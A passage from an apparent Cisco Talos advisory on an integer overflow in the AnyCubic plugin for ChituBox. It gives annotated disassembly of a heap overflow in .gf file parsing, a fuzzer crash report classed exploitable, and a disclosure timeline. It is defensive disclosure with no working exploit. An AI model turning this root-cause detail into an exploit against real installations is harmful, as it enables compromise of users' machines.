    00006646  8b7734             mov     esi, dword [rdi+0x34 {GfFile::headerBuffer.__offset(0x24).d}]
    00006649  4889d0             mov     rax, rdx
    0000664c  // Multiply by 0x80000001
    0000664c  // 
    0000664c  // This is an overflow
    0000664c  0faf7730           imul    esi, dword [rdi+0x30 {GfFile::headerBuffer.__offset(0x20).d}]              [1]
    00006650  48bf398ee3388ee3…mov     rdi, 0x8e38e38e38e38e39
    0000665a  4829c8             sub     rax, rcx
    0000665d  48c1f802           sar     rax, 0x2
    00006661  480fafc7           imul    rax, rdi
    00006665  4863f6             movsxd  rsi, esi
    00006668  4839c6             cmp     rsi, rax
    0000666b  7753               ja      0x66c0
    
    0000666d  7314               jae     0x6683
    
    0000666f  488d04f6           lea     rax, [rsi+rsi*8]
    00006673  488d0481           lea     rax, [rcx+rax*4]
    00006677  4839c2             cmp     rdx, rax
    0000667a  7407               je      0x6683
    
    0000667c  48898328010000     mov     qword [rbx+0x128 {GfFile::gfDataHead.end}], rax
    
    00006683  48637338           movsxd  rsi, dword [rbx+0x38 {GfFile::headerBuffer.datHeadVecOffset}]
    00006687  488b7b08           mov     rdi, qword [rbx+0x8 {GfFile::GfFilePointer}]
    0000668b  31d2               xor     edx, edx  {0x0}
    0000668d  e87ebcffff         call    fseek
    00006692  // Load 0xffffffff80000001
    00006692  48635330           movsxd  rdx, dword [rbx+0x30 {GfFile::headerBuffer.__offset(0x20).d}]
    00006696  // Load 0x6
    00006696  48634334           movsxd  rax, dword [rbx+0x34 {GfFile::headerBuffer.__offset(0x24).d}]
    0000669a  be01000000         mov     esi, 0x1
    0000669f  488b4b08           mov     rcx, qword [rbx+0x8 {GfFile::GfFilePointer}]
    000066a3  488bbb20010000     mov     rdi, qword [rbx+0x120 {GfFile::gfDataHead.begin}]
    000066aa  // Same multiply as earlier, but with 64-bit registers
    000066aa  480fafc2           imul    rax, rdx                                                                   [3]
    000066ae  488d14c0           lea     rdx, [rax+rax*8]
    000066b2  48c1e202           shl     rdx, 0x2
    000066b6  // This fread will read in the un-overflowed value of bytes into a buffer only sized for 
    000066b6  // the overflowed 32 bit value
    000066b6  e8d5bcffff         call    fread                                                                      [4]
    000066bb  31c0               xor     eax, eax  {0x0}
    000066bd  5b                 pop     rbx {__saved_rbx}
    000066be  c3                 retn     {__return_addr}    
    000066c0  4829c6             sub     rsi, rax
    000066c3  488dbb20010000     lea     rdi, [rbx+0x120]
    000066ca  e821020000         call    std::vector<GfDatHead_t,...tor<GfDatHead_t> >::_M_default_append           [2]
    000066cf  ebb2               jmp     0x6683
    

**Crash Information**

    ---CRASH SUMMARY---
    Filename: 0/crashes.2021-07-08-06:48:19/id:000003,sig:06,src:000002,time:7983168,op:flip1,pos:35.gf
    SHA1: d1e3930a21198a5f47b4a74172e3b521d24b5404
    Classification: EXPLOITABLE
    Hash: d534e5b0051653dc75a9212440169e08.740bedddcd989b50806d5aa54a764319
    Command: ../AnyCubicPluginLinux 0/crashes.2021-07-08-06:48:19/id:000003,sig:06,src:000002,time:7983168,op:flip1,pos:35.gf out.pwx
    Faulting Frame:
       operator new(unsigned long) @ 0x00007ffff7e78b39: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
    Disassembly:
       0x00007ffff7abb8ba: xor edx,edx
       0x00007ffff7abb8bc: mov rsi,r9
       0x00007ffff7abb8bf: mov edi,0x2
       0x00007ffff7abb8c4: mov eax,0xe
       0x00007ffff7abb8c9: syscall
    => 0x00007ffff7abb8cb: mov rax,QWORD PTR [rsp+0x108]
       0x00007ffff7abb8d3: sub rax,QWORD PTR fs:0x28
       0x00007ffff7abb8dc: jne 0x7ffff7abb904 <__GI_raise+260>
       0x00007ffff7abb8de: mov eax,r8d
       0x00007ffff7abb8e1: add rsp,0x118
    Stack Head (12 entries):
       __GI_raise                @ 0x00007ffff7abb8cb: in (BL)
       __GI_abort                @ 0x00007ffff7aa0864: in (BL)
       __libc_message            @ 0x00007ffff7b03af6: in (BL)
       malloc_printerr           @ 0x00007ffff7b0c46c: in (BL)
       _int_malloc               @ 0x00007ffff7b0fb14: in (BL)
       __GI___libc_malloc        @ 0x00007ffff7b115d4: in (BL)
       operator                  @ 0x00007ffff7e78b39: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
       std::vector<PhotonsLayerH @ 0x0000555555558a01: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       PwsFile::WritePrepare(GfF @ 0x00005555555579df: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       PwsFile::ZipImages(GfFile @ 0x00005555555588d6: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       Encode2GfFile(char        @ 0x00005555555569a0: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       main                      @ 0x0000555555556619: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
    Registers:
    rax=0x0000000000000000 rbx=0x00007ffff7a78f80 rcx=0x00007ffff7abb8cb rdx=0x0000000000000000
    rsi=0x00007fffffffd560 rdi=0x0000000000000002 rbp=0x00007fffffffd8b0 rsp=0x00007fffffffd560
     r8=0x0000000000000000  r9=0x00007fffffffd560 r10=0x0000000000000008 r11=0x0000000000000246
    r12=0x00007fffffffd7d0 r13=0x0000000000000010 r14=0x00007ffff7fc7000 r15=0x0000000000000001
    rip=0x00007ffff7abb8cb efl=0x0000000000000246  cs=0x0000000000000033  ss=0x000000000000002b
     ds=0x0000000000000000  es=0x0000000000000000  fs=0x0000000000000000  gs=0x0000000000000000
    Extra Data:
       Description: Heap error
       Short description: HeapError (10/22)
       Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped.
    ---END SUMMARY---
    

**Timeline**

2021-09-28 - Vendor Disclosure  
2021-10-29- 30 day follow up  
2021-11-18 - 45+ day follow up  
2021-12-13 - Final follow up  
2022-01-10 - Public Release

Discovered by Carl Hurd of Cisco Talos.

Tag

#intel